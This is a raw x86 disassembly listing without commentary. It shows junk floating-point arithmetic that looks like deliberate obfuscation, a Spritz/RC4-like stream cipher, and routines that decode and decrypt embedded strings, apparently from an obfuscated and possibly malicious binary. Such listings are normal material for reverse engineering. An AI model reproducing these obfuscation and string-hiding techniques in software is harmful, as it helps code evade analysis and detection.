movss dword [ebp - 0x35ec], xmm0
movss xmm0, dword [ebp - 0x35ec]
subss xmm0, dword [ebp - 0x37c8]
movss dword [ebp - 0x35ec], xmm0
movss xmm0, dword [ebp - 0x35f0]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x36e4]
subss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x36e4], xmm0
mov ecx, dword [ebp - 0x3b2c]
shl ecx, 4
mov dword [ebp - 0x3c30], ecx
jmp 0x432fa1
movss xmm0, dword [ebp - 0x35f0]
addss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x35f0]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x35f0]
subss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x37c8]
divss xmm0, dword [ebp - 0x3fd0]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x37c8]
subss xmm0, dword [ebp - 0x3fd0]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x36e4]
divss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x35ec]
divss xmm0, dword [ebp - 0x37c8]
movss dword [ebp - 0x35ec], xmm0
movss xmm0, dword [ebp - 0x37c8]
addss xmm0, dword [ebp - 0x3fd0]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x36e4]
comiss xmm0, dword [ebp - 0x37c8]
jbe 0x432f29
movss xmm0, dword [ebp - 0x35ec]
divss xmm0, dword [ebp - 0x3fd0]
movss dword [ebp - 0x35ec], xmm0
movss xmm0, dword [ebp - 0x3fd0]
divss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x3fd0], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x3fd0]
subss xmm0, dword [ebp - 0x35f0]
movss dword [ebp - 0x3fd0], xmm0
movss xmm0, dword [ebp - 0x36e4]
divss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x36e4], xmm0
jmp 0x432fa1
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x37c8]
mulss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x37c8], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x35ec]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x35f0]
divss xmm0, dword [ebp - 0x37c8]
movss dword [ebp - 0x35f0], xmm0
movss xmm0, dword [ebp - 0x35f0]
mulss xmm0, dword [ebp - 0x37c8]
movss dword [ebp - 0x35f0], xmm0
mov edx, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], edx
mov eax, dword [ebp - 0x3c30]
or eax, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], eax
mov cl, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], cl
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x32fc], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp - 0x32a2]
add eax, edx
mov byte [ebp - 0x32a2], al
mov cl, byte [ebp - 0x328a]
add cl, 1
mov byte [ebp - 0x328a], cl
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x32ad]
movzx eax, byte [ebp - 0x32a2]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp - 0x32ad]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x328a]
mov al, byte [ebp - 0x32fc]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x32fc]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp - 0x32fd]
add eax, edx
mov byte [ebp - 0x32fd], al
movzx ecx, byte [ebp - 0x32fe]
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp + edx - 0x60b0]
movzx edx, byte [ebp - 0x328a]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x60b0]
xor ecx, eax
movzx edx, byte [ebp - 0x32ad]
movzx eax, byte [ebp + edx - 0x60b0]
movzx edx, byte [ebp - 0x32d2]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
movzx edx, byte [ebp - 0x32fd]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp + eax - 0x60b0]
xor ecx, edx
mov byte [ebp - 0x32ad], cl
mov al, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], al
mov cl, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], cl
cmp dword [ebp - 0x33b4], 0
jle 0x43314d
movsx dx, byte [ebp - 0x336e]
mov eax, dword [ebp - 0x33b4]
mov word [ebp + eax*2 - 0x266], dx
mov ecx, dword [ebp - 0x33b4]
add ecx, 1
mov dword [ebp - 0x33b4], ecx
mov edx, dword [ebp - 0x36e0]
add edx, 1
mov dword [ebp - 0x36e0], edx
mov eax, dword [ebp - 0x33b4]
shl eax, 1
mov dword [ebp - 0x3c24], eax
mov ecx, dword [ebp - 0x3c28]
add ecx, dword [ebp - 0x3c24]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b1c], edx
mov dword [ebp - 0x3b20], 0x58
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c2c], ecx
mov edx, dword [ebp - 0x3c28]
add edx, dword [ebp - 0x3c2c]
movzx eax, byte [edx]
mov dword [ebp - 0x3b24], eax
mov dword [ebp - 0x3b28], 0xe
mov ecx, dword [ebp - 0x3b1c]
sub ecx, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], ecx
mov edx, dword [ebp - 0x3b24]
sub edx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], edx
mov eax, dword [ebp - 0x3b2c]
shl eax, 4
mov dword [ebp - 0x3c30], eax
mov ecx, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c30]
or edx, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], edx
mov al, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], al
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + ecx - 0x60b0]
mov byte [ebp - 0x32fc], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32a2]
add edx, ecx
mov byte [ebp - 0x32a2], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movss xmm0, dword [0xa67490]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [0xa673b4]
movss dword [ebp - 0x4690], xmm0
movss xmm0, dword [0xa67258]
movss dword [ebp - 0x427c], xmm0
movss xmm0, dword [0xa670cc]
movss dword [ebp - 0x4144], xmm0
movss xmm0, dword [ebp - 0x3b34]
addss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [ebp - 0x427c]
subss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x427c], xmm0
movss xmm0, dword [ebp - 0x3b34]
subss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [ebp - 0x3b34]
addss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [ebp - 0x427c]
comiss xmm0, dword [ebp - 0x3b34]
jbe 0x433377
movss xmm0, dword [ebp - 0x3b34]
addss xmm0, dword [ebp - 0x4690]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [ebp - 0x4144]
addss xmm0, dword [ebp - 0x3b34]
movss dword [ebp - 0x4144], xmm0
movss xmm0, dword [ebp - 0x427c]
mulss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x427c], xmm0
movss xmm0, dword [ebp - 0x3b34]
mulss xmm0, dword [ebp - 0x4690]
movss dword [ebp - 0x3b34], xmm0
jmp 0x4333f3
movss xmm0, dword [ebp - 0x427c]
mulss xmm0, dword [ebp - 0x4144]
movss dword [ebp - 0x427c], xmm0
movss xmm0, dword [ebp - 0x4144]
subss xmm0, dword [ebp - 0x3b34]
movss dword [ebp - 0x4144], xmm0
movss xmm0, dword [ebp - 0x3b34]
addss xmm0, dword [ebp - 0x4690]
movss dword [ebp - 0x3b34], xmm0
movss xmm0, dword [ebp - 0x4690]
addss xmm0, dword [ebp - 0x427c]
movss dword [ebp - 0x4690], xmm0
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32ad]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fc]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x32fc]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32fd]
add edx, ecx
mov byte [ebp - 0x32fd], dl
movzx eax, byte [ebp - 0x32fe]
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
xor eax, edx
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
movzx ecx, byte [ebp - 0x32fd]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp + edx - 0x60b0]
xor eax, ecx
mov byte [ebp - 0x32ad], al
mov dl, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], dl
mov al, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], al
cmp dword [ebp - 0x33b4], 0
jle 0x43351a
movsx cx, byte [ebp - 0x336e]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x266], cx
mov eax, 2
imul ecx, eax, 0x26
mov dword [ebp - 0x53e8], ecx
cmp dword [ebp - 0x53e8], 0x4e
jae 0x433533
jmp 0x433538
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x53e8]
mov word [ebp + eax - 0x264], dx
jmp 0x43359e
mov dword [ebp - 0x4990], 0
jmp 0x433565
mov ecx, dword [ebp - 0x4990]
add ecx, 1
mov dword [ebp - 0x4990], ecx
cmp dword [ebp - 0x4990], 0x27
jge 0x43359e
mov edx, dword [ebp - 0x4990]
shl edx, 1
mov dword [ebp - 0x53e4], edx
cmp dword [ebp - 0x53e4], 0x4e
jae 0x433587
jmp 0x43358c
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x53e4]
mov word [ebp + ecx - 0x264], ax
jmp 0x433556
lea edx, [ebp - 0x264]
mov dword [ebp - 0x4694], edx
mov eax, dword [ebp - 0x4694]
add eax, 2
mov dword [ebp - 0x67a4], eax
mov ecx, dword [ebp - 0x4694]
mov dx, word [ecx]
mov word [ebp - 0x4bb6], dx
add dword [ebp - 0x4694], 2
cmp word [ebp - 0x4bb6], 0
jne 0x4335b9
mov eax, dword [ebp - 0x4694]
sub eax, dword [ebp - 0x67a4]
sar eax, 1
mov dword [ebp - 0x6780], eax
mov ecx, dword [ebp - 0x6780]
lea edx, [ecx + ecx + 2]
mov dword [ebp - 0x4698], edx
mov dword [ebp - 0x3188], 0
mov dword [ebp - 0x318c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4640], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4640], xmm0
jmp 0x43364d
movsd xmm0, qword [ebp - 0x4640]
addsd xmm0, qword [0xa66340]
movsd qword [ebp - 0x4640], xmm0
movsd xmm0, qword [0xa667c8]
comisd xmm0, xmmword [ebp - 0x4640]
jbe 0x4336fe
movsd xmm0, qword [0xa66618]
mulsd xmm0, qword [ebp - 0x4640]
mulsd xmm0, qword [ebp - 0x4640]
movsd xmm1, qword [ebp - 0x4640]
mulsd xmm1, qword [ebp - 0x4640]
subsd xmm0, xmm1
movsd xmm1, qword [0xa663a0]
mulsd xmm1, qword [ebp - 0x4640]
mulsd xmm1, qword [ebp - 0x4640]
addsd xmm1, qword [0xa66438]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47a4]
movsd qword [ebp - 0x47a4], xmm0
movsd xmm0, qword [ebp - 0x47a4]
comisd xmm0, xmmword [0xa66568]
jbe 0x4336f9
movsd xmm0, qword [0xa662e8]
mulsd xmm0, qword [ebp - 0x4640]
movsd xmm1, qword [ebp - 0x47a4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47a4], xmm1
jmp 0x433635
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47a4]
jbe 0x433774
imul esp, dword [ebp + 0x39], 0x66
inc eax
sub al, 0x5d
js 0x43375c
push ecx
dec ecx
popal
inc ebx
jb 0x43375c
xor dword [edx + ecx*2 + 0x78], esi
push 0x22
xor al, byte [ecx + 0x57]
dec ebp
xor ch, byte [esi + 0x64]
arpl word [ebx + 0x6b], sp
push 0x65
pushal
pop ebp
pop edi
insb byte es:[edi], dx
popal
pop esi
pop edi
pop ebp
push 0x615f625d
pop ebp
pushal
push 0x60
pop ebp
pop ebp
pop ebp
popaw
insb byte es:[edi], dx
arpl word [edi + 0x64], sp
pop ebp
insb byte es:[edi], dx
imul bp, word fs:[ebx + 0x66], 0x6b
arpl word [esp + 0x5f], sp
pop esi
push 0x69616962
bound esp, qword fs:[esi + 0x67]
imul ebp, dword [eax + 0x63], 0x6b646760
imul esp, dword [edx + 0x6a], 0x60
imul esp, dword [ebp + 0x64], 0x69676662
push 0x64676063
imul ebp, dword [ebx + 0x62], 0x6a
pushal
insb byte es:[edi], dx
jmp 0x435ae0
mov dword [ebp - 0x3188], 0x433727
mov dword [ebp - 0x318c], 0x43370b
mov eax, dword [ebp - 0x3188]
mov dword [ebp - 0x3870], eax
mov ecx, dword [ebp - 0x318c]
mov dword [ebp - 0x6784], ecx
mov byte [ebp - 0x4029], 0x20
mov dword [ebp - 0x3868], 0
jmp 0x4337c2
mov edx, dword [ebp - 0x3868]
add edx, 1
mov dword [ebp - 0x3868], edx
cmp dword [ebp - 0x3868], 0x100
jae 0x4337e3
mov eax, dword [ebp - 0x3868]
mov cl, byte [ebp - 0x3868]
mov byte [ebp + eax - 0x57a0], cl
jmp 0x4337b3
mov dword [ebp - 0x4530], 0
mov byte [ebp - 0x336b], 0
mov dword [ebp - 0x3868], 0xff
jmp 0x43380f
mov edx, dword [ebp - 0x3868]
sub edx, 1
mov dword [ebp - 0x3868], edx
cmp dword [ebp - 0x3868], 0
jbe 0x433a7f
mov dword [ebp - 0x4be8], 0
mov dword [ebp - 0x4994], 1
mov eax, dword [ebp - 0x4994]
cmp eax, dword [ebp - 0x3868]
jae 0x433850
mov ecx, dword [ebp - 0x4994]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4994], edx
jmp 0x433830
mov eax, dword [ebp - 0x4530]
mov dword [ebp - 0x53e0], eax
cmp dword [ebp - 0x53e0], 3
ja case.default.0x43386f
mov ecx, dword [ebp - 0x53e0]
jmp dword [ecx*4 + 0x46cdd4]
movzx edx, byte [ebp - 0x336b]
movzx ebx, byte [ebp + edx - 0x57a0]
movsd xmm0, qword [ebp - 0x47a4]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336b], bl
jmp 0x433958
movzx eax, byte [ebp - 0x336b]
movzx ebx, byte [ebp + eax - 0x57a0]
movsd xmm0, qword [ebp - 0x47a4]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336b], bl
jmp 0x433958
movzx ecx, byte [ebp - 0x336b]
movzx ebx, byte [ebp + ecx - 0x57a0]
movsd xmm0, qword [ebp - 0x47a4]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336b], bl
jmp 0x433958
movzx edx, byte [ebp - 0x336b]
movzx ebx, byte [ebp + edx - 0x57a0]
movsd xmm0, qword [ebp - 0x47a4]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336b], bl
jmp 0x433958
movzx eax, byte [ebp - 0x336b]
movzx ecx, byte [ebp + eax - 0x57a0]
mov edx, dword [ebp - 0x6784]
add edx, dword [ebp - 0x4530]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x336b], cl
mov ecx, dword [ebp - 0x4530]
add ecx, 1
mov dword [ebp - 0x4530], ecx
movzx edx, byte [ebp - 0x4029]
cmp dword [ebp - 0x4530], edx
jb 0x433996
mov dword [ebp - 0x4530], 0
movzx eax, byte [ebp - 0x4029]
movzx ecx, byte [ebp - 0x336b]
add ecx, eax
mov byte [ebp - 0x336b], cl
movzx edx, byte [ebp - 0x336b]
and edx, dword [ebp - 0x4994]
mov dword [ebp - 0x42b0], edx
mov eax, dword [ebp - 0x4be8]
add eax, 1
mov dword [ebp - 0x4be8], eax
cmp dword [ebp - 0x4be8], 0xb
jbe 0x4339d5
mov eax, dword [ebp - 0x42b0]
xor edx, edx
div dword [ebp - 0x3868]
mov dword [ebp - 0x42b0], edx
mov ecx, dword [ebp - 0x42b0]
cmp ecx, dword [ebp - 0x3868]
ja 0x433850
mov edx, dword [ebp - 0x3868]
cmp edx, dword [ebp - 0x42b0]
je 0x433a7a
mov eax, dword [ebp - 0x42b0]
movzx ecx, byte [ebp + eax - 0x57a0]
mov edx, dword [ebp - 0x3868]
movzx eax, byte [ebp + edx - 0x57a0]
xor eax, ecx
mov ecx, dword [ebp - 0x3868]
mov byte [ebp + ecx - 0x57a0], al
mov edx, dword [ebp - 0x3868]
movzx eax, byte [ebp + edx - 0x57a0]
mov ecx, dword [ebp - 0x42b0]
movzx edx, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov eax, dword [ebp - 0x42b0]
mov byte [ebp + eax - 0x57a0], dl
mov ecx, dword [ebp - 0x42b0]
movzx edx, byte [ebp + ecx - 0x57a0]
mov eax, dword [ebp - 0x3868]
movzx ecx, byte [ebp + eax - 0x57a0]
xor ecx, edx
mov edx, dword [ebp - 0x3868]
mov byte [ebp + edx - 0x57a0], cl
jmp 0x433800
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x326e], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x327e], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d6], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x327f], cl
movzx edx, byte [ebp - 0x336b]
mov al, byte [ebp + edx - 0x57a0]
mov byte [ebp - 0x329c], al
mov dword [ebp - 0x53dc], 0x48
cmp dword [ebp - 0x53dc], 2
jle 0x435a8c
mov ecx, dword [ebp - 0x53dc]
and ecx, 1
jne 0x435a8c
mov dword [ebp - 0x3378], 0
mov dword [ebp - 0x3580], 0
mov edx, dword [ebp - 0x3580]
add edx, 1
mov dword [ebp - 0x3580], edx
mov dword [ebp - 0x386c], 0
mov eax, dword [ebp - 0x3378]
shl eax, 1
mov dword [ebp - 0x386c], eax
mov dword [ebp - 0x37cc], 0
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x37cc]
mov dword [ebp - 0x37cc], edx
mov dword [ebp - 0x37d0], 0
mov eax, dword [ebp - 0x37d0]
add eax, 0x5d
mov dword [ebp - 0x37d0], eax
mov dword [ebp - 0x3874], 0
mov ecx, dword [ebp - 0x3378]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3874], edx
mov dword [ebp - 0x37d4], 0
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x3874]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x37d4]
mov dword [ebp - 0x37d4], ecx
mov dword [ebp - 0x37d8], 0
mov edx, dword [ebp - 0x37d8]
add edx, 0x5d
mov dword [ebp - 0x37d8], edx
mov dword [ebp - 0x37dc], 0
mov eax, dword [ebp - 0x37cc]
sub eax, dword [ebp - 0x37d0]
add eax, dword [ebp - 0x37dc]
mov dword [ebp - 0x37dc], eax
mov dword [ebp - 0x37e0], 0
mov ecx, dword [ebp - 0x37d4]
sub ecx, dword [ebp - 0x37d8]
add ecx, dword [ebp - 0x37e0]
mov dword [ebp - 0x37e0], ecx
mov dword [ebp - 0x3878], 0
mov edx, dword [ebp - 0x37dc]
shl edx, 4
mov dword [ebp - 0x3878], edx
mov dword [ebp - 0x387c], 0
mov eax, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], eax
mov dword [ebp - 0x3880], 0
mov ecx, dword [ebp - 0x3878]
or ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], ecx
mov byte [ebp - 0x32d7], 0
mov dl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], dl
mov byte [ebp - 0x32d5], 0
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x327e]
add ecx, eax
mov byte [ebp - 0x327e], cl
mov dl, byte [ebp - 0x326e]
add dl, 1
mov byte [ebp - 0x326e], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x326e]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
xor edx, ecx
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x329c]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov byte [ebp - 0x327f], dl
movsd xmm0, qword [0xa66d88]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [0xa66b40]
movsd qword [ebp - 0x4a0c], xmm0
movsd xmm0, qword [0xa668b8]
movsd qword [ebp - 0x4d74], xmm0
movsd xmm0, qword [ebp - 0x43b8]
mulsd xmm0, qword [ebp - 0x4d74]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [ebp - 0x43b8]
subsd xmm0, qword [ebp - 0x4d74]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [ebp - 0x43b8]
mulsd xmm0, qword [ebp - 0x4d74]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [ebp - 0x4d74]
comisd xmm0, xmmword [ebp - 0x43b8]
jbe 0x433ea8
movsd xmm0, qword [ebp - 0x4a0c]
subsd xmm0, qword [ebp - 0x4d74]
movsd qword [ebp - 0x4a0c], xmm0
movsd xmm0, qword [ebp - 0x43b8]
mulsd xmm0, qword [ebp - 0x4a0c]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [ebp - 0x43b8]
addsd xmm0, qword [ebp - 0x4a0c]
movsd qword [ebp - 0x43b8], xmm0
jmp 0x433efc
movsd xmm0, qword [ebp - 0x4a0c]
subsd xmm0, qword [ebp - 0x4d74]
movsd qword [ebp - 0x4a0c], xmm0
movsd xmm0, qword [ebp - 0x43b8]
addsd xmm0, qword [ebp - 0x4a0c]
movsd qword [ebp - 0x43b8], xmm0
movsd xmm0, qword [ebp - 0x43b8]
subsd xmm0, qword [ebp - 0x4a0c]
movsd qword [ebp - 0x43b8], xmm0
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], cl
mov dl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3378], 0
jle 0x433f27
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3378]
mov word [ebp + ecx*2 - 0x2fa], ax
mov edx, dword [ebp - 0x3378]
add edx, 1
mov dword [ebp - 0x3378], edx
mov eax, dword [ebp - 0x3580]
add eax, 1
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x3378]
shl ecx, 1
mov dword [ebp - 0x386c], ecx
mov edx, dword [ebp - 0x3870]
add edx, dword [ebp - 0x386c]
movzx eax, byte [edx]
mov dword [ebp - 0x37cc], eax
mov dword [ebp - 0x37d0], 0x5d
mov ecx, dword [ebp - 0x3378]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3874], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x3874]
movzx ecx, byte [eax]
mov dword [ebp - 0x37d4], ecx
mov dword [ebp - 0x37d8], 0x5d
movsd xmm0, qword [0xa66f38]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [0xa66df8]
movsd qword [ebp - 0x43c0], xmm0
movsd xmm0, qword [0xa66ba8]
movsd qword [ebp - 0x5578], xmm0
movsd xmm0, qword [0xa66908]
movsd qword [ebp - 0x5570], xmm0
movsd xmm0, qword [ebp - 0x5578]
mulsd xmm0, qword [ebp - 0x5570]
movsd qword [ebp - 0x5578], xmm0
movsd xmm0, qword [ebp - 0x43c0]
mulsd xmm0, qword [ebp - 0x5570]
movsd qword [ebp - 0x43c0], xmm0
movsd xmm0, qword [ebp - 0x4480]
mulsd xmm0, qword [ebp - 0x5570]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [ebp - 0x43c0]
subsd xmm0, qword [ebp - 0x5570]
movsd qword [ebp - 0x43c0], xmm0
movsd xmm0, qword [ebp - 0x4480]
comisd xmm0, xmmword [ebp - 0x5570]
jbe 0x4340c7
movsd xmm0, qword [ebp - 0x4480]
addsd xmm0, qword [ebp - 0x43c0]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [ebp - 0x4480]
addsd xmm0, qword [ebp - 0x43c0]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [ebp - 0x4480]
subsd xmm0, qword [ebp - 0x43c0]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [ebp - 0x4480]
addsd xmm0, qword [ebp - 0x43c0]
movsd qword [ebp - 0x4480], xmm0
mov edx, dword [ebp - 0x37cc]
sub edx, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], edx
jmp 0x434127
movsd xmm0, qword [ebp - 0x43c0]
subsd xmm0, qword [ebp - 0x5578]
movsd qword [ebp - 0x43c0], xmm0
movsd xmm0, qword [ebp - 0x4480]
mulsd xmm0, qword [ebp - 0x43c0]
movsd qword [ebp - 0x4480], xmm0
movsd xmm0, qword [ebp - 0x43c0]
subsd xmm0, qword [ebp - 0x5578]
movsd qword [ebp - 0x43c0], xmm0
movsd xmm0, qword [ebp - 0x43c0]
subsd xmm0, qword [ebp - 0x5578]
movsd qword [ebp - 0x43c0], xmm0
mov eax, dword [ebp - 0x37d4]
sub eax, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], eax
